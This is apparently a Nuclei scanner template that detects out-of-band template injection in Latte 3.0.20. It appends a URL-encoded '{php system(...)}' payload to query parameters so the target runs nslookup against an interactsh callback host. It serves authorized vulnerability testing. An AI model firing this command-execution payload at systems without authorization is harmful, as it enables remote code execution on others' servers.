id: latte-oob

info:
  name: Latte 3.0.20 - Out of Band Template Injection
  author: 0xAwali,DhiyaneshDK
  severity: high
  reference:
    - https://github.com/nette/latte
    - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
  metadata:
    verified: true
  tags: ssti,dast,oast,oob,vuln

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - '%7Bphp%20system%28%27nslookup%20-type%3DSRV%20{{interactsh-url}}%27%29%7D'

    skip-variables-check: true

    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{injection}}"

    matchers:
      - type: dsl
        name: request-matcher
        dsl:
          - "contains(interactsh_protocol,'dns')"
          - "contains(interactsh_request,'srv')"
        condition: and
# digest: 490a00463044022078fe5868ed3f07d57ff1568b532dec7f8855261288485b83072754089d44e5360220703dbd6d6b317ce77d650197006d5499182f6972176f597db9147a38697de102:922c64590222798bb761d5b6d8e72950